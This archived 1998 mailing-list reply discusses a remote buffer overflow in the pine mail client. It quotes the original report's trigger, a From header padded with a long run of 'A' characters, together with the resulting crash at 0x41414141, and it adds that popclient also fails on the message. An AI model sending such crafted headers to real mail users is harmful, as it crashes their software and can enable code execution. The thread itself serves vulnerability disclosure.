Re: another remote pine vunerability

From: Phillip R. Jaenke (prjat_private)
Date: Thu Jun 18 1998 - 11:46:00 PDT

  • Next message: Ken Williams: "Re: protocol 191?"

    On Wed, 17 Jun 1998, Michal Zalewski wrote:
    
    > Recently I found silly remote overflow in pine. It's so simple there's no
    > need to describe it:
    >
    > From: Michal Zalewski <lcamtuf@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAA>
    >
    > ...and any attempt of reading this mail will cause:
    >
    > Program received signal SIGSEGV, Segmentation fault.
    > 0x41414141 in ?? ()
    
    Also, attempting to so much as download *THIS* email I'm quoting here will
    cause a panic in 'popclient.' pine is fine, but popclient can't retrieve
    email past this message.
    
    > RETR 9
    +OK 3897 octets.
    (56 lines of message content)
    > DELE 1094795585
    doPOP3: cleanUp: Bad file descriptor
    
    The only way to get rid of the offending message is by hand. I'd say we've
    stumbled on to something that could be rather painful.
    
    --Phillip R. Jaenke (prjat_private - InterNIC: PRJ5)
    Head Geek, Linux@Comdex Project - http://comdex.linuxos.org/
    TheGuyInCharge(tm), Ketyra Designs, Inc.
    "For every step I take, I find somebody stepping on my heels." --anonymous
    "That's IT! I'm gonna slap Dr.Watson with a malpractice suit!!" --Keihra
    ! I reserve the right to bill spammers for my time and disk space !
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:58:45 PDT